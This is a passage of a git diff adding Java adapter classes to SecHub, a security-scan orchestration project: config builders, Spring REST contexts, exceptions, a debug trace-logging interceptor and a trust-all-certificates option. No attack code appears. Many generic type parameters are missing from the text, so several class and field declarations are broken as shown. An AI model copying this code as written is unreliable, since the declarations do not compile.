timeToWaitForNextCheckOperationInMinutes * 60 * 1000; + abstractAdapterConfig.timeOutInMilliseconds = scanResultTimeOutInMinutes * 60 * 1000; + + abstractAdapterConfig.proxyHostname = proxyHostname; + abstractAdapterConfig.proxyPort = proxyPort; + abstractAdapterConfig.user = user; + abstractAdapterConfig.trustAllCertificatesEnabled=trustAllCertificatesEnabled; + abstractAdapterConfig.password = password; + abstractAdapterConfig.policyId = policyID; + abstractAdapterConfig.targetURIs = targetURIs; + abstractAdapterConfig.rootTargetUris.addAll(uriShrinker.shrinkToRootURIs(targetURIs)); + abstractAdapterConfig.targetIPs = targetIPs; + + abstractAdapterConfig.traceID = traceID; + abstractAdapterConfig.projectId=projectId; + + packageInternalCustomBuild(config); + customBuild(config); + + return config; + } + + void packageInternalCustomBuild(C config) { + /* per default do nothing*/ + } + + protected abstract void customBuild(C config); + + protected abstract C buildInitialConfig(); + + private void ensureTraceID() { + if (traceID == null) { + traceID = "FALLBACK_TRACE_ID#" + System.nanoTime(); + } + } + + private void ensureTimeSetup() { + if (timeToWaitForNextCheckOperationInMinutes > MAX_1_HOUR_IN_MINUTES) { + LOG.warn( + "Check interval {} bigger than 1 hour. Automatic reset to one hour done. Please check your configuration!", timeToWaitForNextCheckOperationInMinutes); + timeToWaitForNextCheckOperationInMinutes = MAX_1_HOUR_IN_MINUTES; + } + if (scanResultTimeOutInMinutes > MAX_5_DAYS_IN_MINUTES) { + LOG.warn( + "Scan check timeout {} bigger than 5 days. Automatic reset to 5 days done. Please check your configuration!", scanResultTimeOutInMinutes); + scanResultTimeOutInMinutes = MAX_5_DAYS_IN_MINUTES; + } + + } + + private void validate() { + assertProxyPortSetWhenProxyHostnameDefined(); + customValidate(); + } + + /** + * Custom validation. Use assert methods defined in + * {@link AbstractAdapterConfigBuilder} or use your own for new fields.
+ *
+ * Already initial checked before are: + *
    + *
  • when a proxy hostname is set the proxy port must be set too
  • + *
  • product base url set
  • + *
+ */ + protected abstract void customValidate(); + + protected void assertUserSet() { + if (user == null) { + throw new IllegalStateException("no user given"); + } + } + + public void assertProjectIdSet() { + if (projectId == null) { + throw new IllegalStateException("no projectId given"); + } + } + + protected void assertPasswordSet() { + if (password == null) { + throw new IllegalStateException("no password given"); + } + } + + protected void assertPolicyIdSet() { + if (policyID == null) { + throw new IllegalStateException("no policyID given"); + } + } + + protected void assertProductBaseURLSet() { + if (productBaseURL == null || productBaseURL.isEmpty()) { + throw new IllegalStateException("no product base url given"); + } + } + + protected void assertProxyPortSetWhenProxyHostnameDefined() { + if (isProxyDefinedButPortMissing()) { + throw new IllegalStateException("Proxy set, but no port!"); + } + } + + protected void assertAPITokenSet() { + if (apiToken == null) { + throw new IllegalStateException("no apiToken given"); + } + } + + private boolean isProxyDefinedButPortMissing() { + return proxyHostname != null && !proxyHostname.isEmpty() && proxyPort == 0; + } + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterContext.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterContext.java new file mode 100644 index 0000000000..3e12a282c5 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterContext.java @@ -0,0 +1,118 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.util.Map; + +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + +/** + * Context for REST execution per spring REST templates (per default with a + * simple String as result). + * + * @author Albert Tregnaghi + * + */ +public abstract class AbstractAdapterContext> + implements AdapterContext { + + private C config; + + private String productContextId; + private long started; + + private String result; + private A adapter; + + private JSONAdapterSupport jsonAdapterSupport; + + public AbstractAdapterContext(C config, A adapter) { + if (config == null) { + throw new IllegalArgumentException("config may not be null"); + } + if (adapter == null) { + throw new IllegalArgumentException("adapter may not be null"); + } + + this.config = config; + this.adapter = adapter; + this.started = System.currentTimeMillis(); + + } + + @Override + public AdapterException asAdapterException(String message, Throwable t) { + return adapter.asAdapterException(message, t, getConfig()); + } + + @Override + public String getAPIURL(String apiPart) { + return getAPIURL(apiPart, null); + } + + @Override + public String getAPIURL(String apiPart, Map map) { + return this.adapter.createAPIURL(apiPart, this.config, map); + } + + @Override + public final void setProductContextId(String netsparkerId) { + this.productContextId = netsparkerId; + } + + protected final A getAdapter() { + return adapter; + } + + /** + * Returns an id used by the product to identify the request/session + * + * @return id + */ + @Override + public final String getProductContextId() { + return productContextId; + } + + @Override + public JSONAdapterSupport json() { + if (jsonAdapterSupport == null) { + jsonAdapterSupport = new JSONAdapterSupport(adapter, this); + } + return jsonAdapterSupport; + } + + /** + * @return configuration, never null + */ + @Override + public final C getConfig() { + return config; + } + + @Override + public final void setResult(String result) { + this.result = result; + } + + @Override + public final String getResult() { + return result; + } + + @Override + public final boolean isTimeOut() { + long millis = getMillisecondsRun(); + return millis > config.getTimeOutInMilliseconds(); + } + + @Override + public final long getMillisecondsRun() { + return System.currentTimeMillis() - started; + } + + @Override + public String getTraceID() { + return getConfig().getTraceID(); + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfig.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfig.java new file mode 100644 index 0000000000..e3d49ba29c --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfig.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public class AbstractCodeScanAdapterConfig extends AbstractAdapterConfig { + + String sourceScanTargetString; + + @Override + public String getTargetAsString() { + if (sourceScanTargetString!=null) { + return sourceScanTargetString; + } + return super.getTargetAsString(); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfigBuilder.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfigBuilder.java new file mode 100644 index 0000000000..082572b3da --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfigBuilder.java @@ -0,0 +1,35 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.util.Iterator; +import java.util.Set; + +public abstract class AbstractCodeScanAdapterConfigBuilder, C extends AbstractCodeScanAdapterConfig> extends AbstractAdapterConfigBuilder { + + private Set sourceFolders; + + @SuppressWarnings("unchecked") + public final B setFileSystemSourceFolders(Set sourceFolders) { + this.sourceFolders=sourceFolders; + return (B) this; + } + + @Override + void packageInternalCustomBuild(C config) { + if (sourceFolders!=null) { + StringBuilder sb = new StringBuilder(); + for (Iterator it= sourceFolders.iterator();it.hasNext();) { + String folder = it.next(); + if (folder==null) { + continue; + } + sb.append(folder); + if (it.hasNext()) { + sb.append(';'); + } + } + config.sourceScanTargetString=sb.toString(); + } + } + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractSpringRestAdapterContext.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractSpringRestAdapterContext.java new file mode 100644 index 0000000000..9f00c21744 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractSpringRestAdapterContext.java @@ -0,0 +1,106 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.net.InetSocketAddress; +import java.net.Proxy; +import java.net.Proxy.Type; +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import org.springframework.http.client.BufferingClientHttpRequestFactory; +import org.springframework.http.client.ClientHttpRequestFactory; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.SimpleClientHttpRequestFactory; +import org.springframework.http.converter.HttpMessageConverter; +import org.springframework.http.converter.StringHttpMessageConverter; +import org.springframework.web.client.RestOperations; +import org.springframework.web.client.RestTemplate; + +import com.daimler.sechub.adapter.support.TrustAllSupport; + +/** + * Context for REST execution per spring REST templates (per default with a simple String as result). + * + * @author Albert Tregnaghi + * + */ +public abstract class AbstractSpringRestAdapterContext> extends AbstractAdapterContext { + + public static final String SECHUB_OPTION_CLIENTHTTPREQUESTINTERCEPTOR = "sechub.option.clienthttprequestinterceptor"; + private RestTemplate restTemplate; + + public AbstractSpringRestAdapterContext(C config, A adapter) { + super(config,adapter); + /* setup dedicated rest template */ + + ClientHttpRequestFactory requestFactory = createRequestFactory(config); + + restTemplate = new RestTemplate(requestFactory); + + restTemplate.getMessageConverters().addAll(createMessageConverters()); + + List interceptors = new ArrayList<>(); + interceptors.add(new TraceLogClientHTTPRequestInterceptor()); + ClientHttpRequestInterceptor interceptor = createInterceptorOrNull(config); + if (interceptor != null) { + interceptors.add(interceptor); + } + + Object obj = config.getOptions().get(SECHUB_OPTION_CLIENTHTTPREQUESTINTERCEPTOR); + if (obj instanceof ClientHttpRequestInterceptor) { + ClientHttpRequestInterceptor optionInterceptor = (ClientHttpRequestInterceptor) obj; + interceptors.add(optionInterceptor); + } + restTemplate.setInterceptors(interceptors); + + } + + private ClientHttpRequestFactory createRequestFactory(C config) { + ClientHttpRequestFactory factory = null; + if (! config.isTrustAllCertificatesEnabled()) { + factory = createStandardSpringRequestFactory(config); + }else { + factory = new TrustAllSupport(getAdapter(),config).createTrustAllFactory(); + + } + /* we create buffering variant, so we can do trace logging if necessary - see TraceLogClientHTTPRequestInterceptor*/ + return new BufferingClientHttpRequestFactory(factory); + } + + private SimpleClientHttpRequestFactory createStandardSpringRequestFactory(C config) { + /* use standard Spring way, so uses configured trusted certificates etc. etc. */ + SimpleClientHttpRequestFactory requestFactory = new SimpleClientHttpRequestFactory(); + if (config.isProxyDefined()) { + Proxy proxy = new Proxy(Type.SOCKS, + new InetSocketAddress(config.getProxyHostname(), config.getProxyPort())); + requestFactory.setProxy(proxy); + } + return requestFactory; + } + + + + private Set> createMessageConverters() { + Set> set = new HashSet<>(); + addClientHttpRequestInterceptors(set); + return set; + } + + /** + * Adds the message converters to use, can be overridden. per default a + * {@link StringHttpMessageConverter} is added + */ + protected void addClientHttpRequestInterceptors(Set> set) { + set.add(new StringHttpMessageConverter()); + } + + protected abstract ClientHttpRequestInterceptor createInterceptorOrNull(C config); + + @Override + public final RestOperations getRestOperations() { + return restTemplate; + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/Adapter.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/Adapter.java new file mode 100644 index 0000000000..5e5aa4f481 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/Adapter.java @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.util.Map; + +/** + * Marker interface for SecHub adapters + * + * @author Albert Tregnaghi + * + */ +public interface Adapter { + + public AdapterLogId getAdapterLogId(TraceIdProvider provider); + + public AdapterCanceledByUserException asAdapterCanceledByUserException(TraceIdProvider provider); + + public AdapterException asAdapterException(String message, TraceIdProvider provider); + + public AdapterException asAdapterException(String message, Throwable t, TraceIdProvider provider); + + public String createAPIURL(String apiPart, C config); + + public String createAPIURL(String apiPart, C config, Map map); + + /** + * Starts and returns result + * + * @param config + * @return result + * @throws NessusAdapterException + */ + String start(C config) throws AdapterException; +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterCanceledByUserException.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterCanceledByUserException.java new file mode 100644 index 0000000000..0cf6d9ee09 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterCanceledByUserException.java @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public class AdapterCanceledByUserException extends AdapterException { + + private static final long serialVersionUID = 8698367126373773465L; + + public AdapterCanceledByUserException(AdapterLogId id) { + super(id, "was canceled by user"); + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterConfig.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterConfig.java new file mode 100644 index 0000000000..ac07be1979 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterConfig.java @@ -0,0 +1,115 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.net.InetAddress; +import java.net.URI; +import java.util.Map; +import java.util.Set; + +public interface AdapterConfig extends TrustAllConfig, TraceIdProvider{ + + int getTimeOutInMilliseconds(); + + /** + * + * @return time to wait , usable for {@link WaitForStateSupport}. Normally this describes time to wait for next operation + */ + int getTimeToWaitForNextCheckOperationInMilliseconds(); + + /** + * + * @return base url as string, never null + */ + String getProductBaseURL(); + + /** + * Returns a string describing the target type (e.g. "INTRANET") + * @return a string describing the target, never null. when type not set an empty string is returned + */ + String getTargetType(); + + /** + * Return all target URIs + * @return target URIs (equals in URLs is a little bit odd, can make Domain look ups so we use URI instead).

+ */ + Set getTargetURIs(); + + /** + * Returns only the first target URI + *

+ * This is interesting when the product is only able to scan one URI at a time. So it would be a little bit cumbersome to use {@link #getTargetURIs()} + * @return target URI or null if none defined + */ + URI getTargetURI(); + + /** + * Returns a target string. When configured target is a for URIs, only the first target URI is returned as a simple string. But Target can + * also be one ore more folder pathes - e.g. for source scanning + *

+ * This is interesting when the product scans no URLs or is only able to scan one URI at a time. So it would be a little bit cumbersome to use {@link #getTargetURIs()} + * @return target URI string or null if none defined + */ + String getTargetAsString(); + + /** + * + * @return a base 64 encoded token containing "USERID:APITOKEN" inside + */ + String getBase64Token(); + + String getUser(); + + String getPolicyId(); + + String getPassword(); + + /** + * Returns a map for options. Can be used to provide special behaviours which are not default. E.g. wire mock extensions etc. + * @return map with options + */ + public Map getOptions(); + + /** + * Returns root target URIs (equals in URLs is a little bit odd, can make Domain look ups so we use URI instead).

+ * An example: + *
+ * The config has got following target uris: + *
+	 * https://www.mycoolstuff.com/app1/
+	 * https://www.mycoolstuff.com/app2/
+	 * https://www.mycoolstuff.com/app3/
+	 * https://www.othercoolstuff.com/app4/
+	 * 
+ * the call to this method will result in + *
+	 * https://www.mycoolstuff.com
+	 * https://www.othercoolstuff.com
+	 * 
+ * @return a set, never null + */ + Set getRootTargetURIs(); + + /** + * Returns root target URI (will return always the first one or null) + * @return root uri or null + */ + URI getRootTargetURI(); + + /** + * Returns root target URI as string (will return always the first one or null) + * @return root uri as string or null + */ + String getRootTargetURIasString(); + + /** + * Returns IP adresses. + * @return ip adresses or empty set, never null + */ + Set getTargetIPs(); + + /** + * @return the project id or null if none set + */ + String getProjectId(); + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterContext.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterContext.java new file mode 100644 index 0000000000..7656a62887 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterContext.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.util.Map; + +import org.springframework.web.client.RestOperations; + +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + +public interface AdapterContext extends TraceIdProvider { + + /** + * Set an id used by the product to identify the request/session + * @param productContextId + */ + void setProductContextId(String productContextId); + + /** + * Returns an id used by the product to identify the request/session + * + * @return id + */ + String getProductContextId(); + + RestOperations getRestOperations(); + + AdapterException asAdapterException(String message, Throwable t); + + /** + * @return configuration, never null + */ + C getConfig(); + + void setResult(String result); + + String getResult(); + + boolean isTimeOut(); + + long getMillisecondsRun(); + + JSONAdapterSupport json(); + + /** + * Gives back full API URL, containing of base url from configuration and given api path + * @param apiPath + * @return full API URL - e.g. "https://localhost/prefix/$apiPath" + */ + String getAPIURL(String apiPath); + + /** + * Gives back full API URL, containing of base url from configuration and given api path. + * At the end of the url the map entries are added + * @param apiPath + * @param map - can be null + * @return full API URL - e.g. "https://localhost/prefix/$apiPath?key1=value1&key2=value2" + */ + String getAPIURL(String apiPart, Map map); + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterCypherManager.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterCypherManager.java new file mode 100644 index 0000000000..bf7bbcdefb --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterCypherManager.java @@ -0,0 +1,6 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public class AdapterCypherManager { + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterException.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterException.java new file mode 100644 index 0000000000..cefc8e884e --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterException.java @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public class AdapterException extends Exception { + + private static final long serialVersionUID = -2254915005975876283L; + + public AdapterException(AdapterLogId id, String message, Throwable cause) { + super(id.withMessage(message), cause); + } + + public AdapterException(AdapterLogId id, String message) { + super(id.withMessage(message)); + } + + public AdapterException(AdapterLogId id, Throwable cause) { + super(id.withMessage(null), cause); + } + + /** + * Throws given exception as adapter exception. If the exception is + * already an adapter exception the origin exception will be thrown (the + * given message and adapter idwill be ignored then) + * + * @param message + * @param t + * @throws AdapterException + */ + public static void throwAsAdapterException(AdapterLogId id, String message, Throwable t) throws AdapterException { + throw asAdapterException(id, message, t); + } + + /** + * Returns an exception for given one. If the exception is + * already an adapter exception the origin exception will be thrown (the + * given message and adapter idwill be ignored then) + * @param id + * @param message + * @param t + * @return + * @throws AdapterException + */ + public static AdapterException asAdapterException(AdapterLogId id, String message, Throwable t) { + if (t instanceof AdapterException) { + return (AdapterException) t; + } else { + return new AdapterException(id, message, t); + } + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterLogId.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterLogId.java new file mode 100644 index 0000000000..b7dd02ba6c --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterLogId.java @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +/** + * Identifies an adapter - e.g. for logging and exceptions. So we do not + * need dedicated exceptions for every adapter implementation... + * @author Albert Tregnaghi + * + */ +public class AdapterLogId { + + private String id; + private String traceId; + + public AdapterLogId(String id, String traceId) { + this.id=id; + this.traceId=traceId; + } + + public String getId() { + return id; + } + + public String getTraceId() { + return traceId; + } + + public String withMessage(String message) { + StringBuilder sb = new StringBuilder(); + if (traceId!=null) { + sb.append(traceId); + sb.append(" "); + } + sb.append(id); + if (message!=null) { + sb.append(":"); + sb.append(message); + } + return sb.toString(); + } + + public String toString() { + return withMessage(null); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterProfiles.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterProfiles.java new file mode 100644 index 0000000000..ff0ebd54b0 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AdapterProfiles.java @@ -0,0 +1,10 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public class AdapterProfiles { + private AdapterProfiles() { + + } + public static final String MOCKED_PRODUCTS ="mocked_products"; + public static final String REAL_PRODUCTS ="real_products"; +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/CryptoAccess.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/CryptoAccess.java new file mode 100644 index 0000000000..236f3fc478 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/CryptoAccess.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.io.Serializable; +import java.security.SecureRandom; + +import javax.crypto.Cipher; +import javax.crypto.KeyGenerator; +import javax.crypto.SealedObject; +import javax.crypto.SecretKey; + +public class CryptoAccess { + private static KeyGenerator keyGen; + private char[] transformation = new char[] {'A','E','S'}; + private SecretKey secretKey; + + public static final CryptoAccess CRYPTO_STRING = new CryptoAccess(); + + public CryptoAccess(){ + secretKey = getkeyGen(transformation).generateKey(); + } + + private static KeyGenerator getkeyGen(char[] transformation) { + if (CryptoAccess.keyGen!=null) { + return CryptoAccess.keyGen; + } + try { + KeyGenerator keyGen = KeyGenerator.getInstance(new String(transformation)); + keyGen.init(128); + CryptoAccess.keyGen=keyGen; + return CryptoAccess.keyGen; + + } catch (Exception e) { + throw new IllegalStateException("FATAL:cannot create key generator",e); + } + } + public SealedObject seal(T object) { + try { + Cipher cipher = Cipher.getInstance(new String(transformation)); + cipher.init(Cipher.ENCRYPT_MODE, secretKey, new SecureRandom()); + return new SealedObject(object,cipher); + } catch (Exception e) { + throw new IllegalStateException("cannot create sealed object for given objects",e); + } + } + + @SuppressWarnings("unchecked") + public T unseal(SealedObject object) { + try { + Cipher cipher = Cipher.getInstance(new String(transformation)); + cipher.init(Cipher.DECRYPT_MODE, secretKey, new SecureRandom()); + return (T) object.getObject(cipher); + } catch (Exception e) { + throw new IllegalStateException("cannot create sealed object for given objects",e); + } + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/IcrementalAdditionalPrefixAPIURLSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/IcrementalAdditionalPrefixAPIURLSupport.java new file mode 100644 index 0000000000..1706646b03 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/IcrementalAdditionalPrefixAPIURLSupport.java @@ -0,0 +1,87 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.util.Map; + +import com.daimler.sechub.adapter.support.APIURLSupport; + +/** + * A special api url support which does always add an additonal prefix with + * automated incrementation. Interesting for wiremock tests to provide always different + * urls, so this class can be used as a workaround when testing adapters with wiremock (wire mock is not able to handle GET-Requests with request bodies, + * also the "scenario"-aproach is sometimes a little bit cumbersome when having multiple calls). By using this support you can easily and exactly check the correct + * ordering and call hierarchy. + * + *
+    incrementalSupport = new IcrementalAdditionalPrefixAPIURLSupport("teststep");
+    
+    // lets use 
+    adapterToTest = new XyzAdapter(){
+    	createAPIURLSupport(){
+    		return incrementalSupport;
+    	}
+    }
+    
+    stubFor(post(urlEqualTo(incrementalSupport.nextURL("/api/1.0/person"))...
+    ...
+    adapterToTest.executeAction()...
+    
+    ...
+    verify(postRequestedFor(urlEqualTo("/teststep_1/api/1.0/person"))); // checks teh first rest call had was the post
+ * 
+ * + * @author Albert Tregnaghi + * + */ +public class IcrementalAdditionalPrefixAPIURLSupport extends APIURLSupport { + private static final int START_INDEX = 1;// we start with 1 + private int createdPrefixIndex = START_INDEX; + private int checkingPrefixIndex = START_INDEX; + private String additionalPrefix; + + public IcrementalAdditionalPrefixAPIURLSupport(String additionalPrefix) { + this.additionalPrefix = additionalPrefix; + } + + @Override + public String createAPIURL(String apiPath, AdapterConfig config, String apiPrefix, String otherBaseURL, Map map) { + String newPrefix = getPrefix(createdPrefixIndex++); + if (apiPrefix != null) { + newPrefix += "/" + apiPrefix; + } + return super.createAPIURL(apiPath, config, newPrefix, otherBaseURL,map); + } + + private String getPrefix(int value) { + return additionalPrefix + "_" + value; + } + + private String nextCheckPrefix() { + return getPrefix(checkingPrefixIndex++); + } + + /** + * @param url + * @return next URL to check + */ + public String nextURL(String url) { + return "/" + nextCheckPrefix() + url; + } + + /** + * Assert current checked position is as expected. This is normally + * a checked marker in code for easier debugging. So you are sure which + * index is used for a test / stubbing. + * + * @param expectedCheckIndex + * @return itself + */ + public IcrementalAdditionalPrefixAPIURLSupport assertCheck(int expectedCheckIndex) { + if (expectedCheckIndex != checkingPrefixIndex) { + throw new IllegalStateException( + "Expected position was:" + expectedCheckIndex + ", but was:" + checkingPrefixIndex); + } + return this; + } + +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/ProxyConfig.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/ProxyConfig.java new file mode 100644 index 0000000000..6d47be5957 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/ProxyConfig.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public interface ProxyConfig { + + String getProxyHostname(); + + int getProxyPort(); + + boolean isProxyDefined(); +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/SSLContextFactory.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/SSLContextFactory.java new file mode 100644 index 0000000000..04368f6257 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/SSLContextFactory.java @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public class SSLContextFactory { + + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/SpringUtilFactory.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/SpringUtilFactory.java new file mode 100644 index 0000000000..3dd0bae5bf --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/SpringUtilFactory.java @@ -0,0 +1,15 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import com.fasterxml.jackson.databind.ObjectMapper; + +public class SpringUtilFactory { + + /** + * Creates a default jackson object mapper + * @return a default jackson object mapper + */ + public static ObjectMapper createDefaultObjectMapper() { + return new ObjectMapper(); + } +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceIdProvider.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceIdProvider.java new file mode 100644 index 0000000000..8e3e2f10f5 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceIdProvider.java @@ -0,0 +1,11 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public interface TraceIdProvider { + + /** + * @return a trace ID, never null + */ + String getTraceID(); + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java new file mode 100644 index 0000000000..58ce9a5e94 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TraceLogClientHTTPRequestInterceptor.java @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpRequest; +import org.springframework.http.client.ClientHttpRequestExecution; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.ClientHttpResponse; + +/** + * This http request interceptor does a trace logging of all adapter + * communication when log level for this logger is set to trace. It uses the DEBUG log level from SLF4J to + * identify if the data shall be inspected and logged or not.

+ * + * @author Albert Tregnaghi + * + */ +public class TraceLogClientHTTPRequestInterceptor implements ClientHttpRequestInterceptor { + + private static final Logger LOG = LoggerFactory.getLogger(TraceLogClientHTTPRequestInterceptor.class); + + @Override + public final ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) + throws IOException { + + ClientHttpResponse response = execution.execute(request, body); + + log(request, body, response); + + return response; + } + + private void log(HttpRequest request, byte[] body, ClientHttpResponse response) throws IOException { + if (!LOG.isDebugEnabled()) { + /* no output wanted - just do nothing and return. we use debug level, because this is the + * standard log level when executing as wiremock too - currently not able to change the log + * level for those tests because wiremock... does something special with logging in this case... + * If the wiremock logging issue could be changed then we should use a TRACE level instead!*/ + return; + } + StringBuilder sb = new StringBuilder(); + sb.append("\nRequest:"); + sb.append("\n Method:"); + sb.append(request.getMethodValue()); + sb.append("\n Headers:"); + sb.append(request.getHeaders().toString()); + sb.append("\n URI:"); + sb.append(request.getURI().toString()); + sb.append("\n Body:\n"); + sb.append(new String(body, "UTF-8")); + sb.append("\n\nResponse:"); + sb.append("\n Status:"); + sb.append(response.getStatusCode()); + sb.append(":"); + sb.append(response.getStatusText()); + sb.append("\n Headers:"); + sb.append(response.getHeaders().toString()); + sb.append("\n Body:"); + try (BufferedReader buffer = new BufferedReader(new InputStreamReader(response.getBody()))) { + sb.append(buffer.lines().collect(Collectors.joining("\n"))); + }catch(Exception e) { + sb.append(" Body not accessible - reason::"+e.getMessage()); + } + sb.append(response.getHeaders().toString()); + + String message = sb.toString(); + LOG.debug(message); + } +} \ No newline at end of file diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllConfig.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllConfig.java new file mode 100644 index 0000000000..b6116f57ce --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/TrustAllConfig.java @@ -0,0 +1,7 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +public interface TrustAllConfig extends ProxyConfig, TraceIdProvider{ + + boolean isTrustAllCertificatesEnabled(); +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/WaitForStateSupport.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/WaitForStateSupport.java new file mode 100644 index 0000000000..b225b27699 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/WaitForStateSupport.java @@ -0,0 +1,96 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.client.HttpClientErrorException; + +/** + * Abstract class to support waiting for given states + * + * @author Albert Tregnaghi + * + * @param + * context + * @param + * configuration + */ +public abstract class WaitForStateSupport, C extends AdapterConfig> { + + private static final Logger LOG = 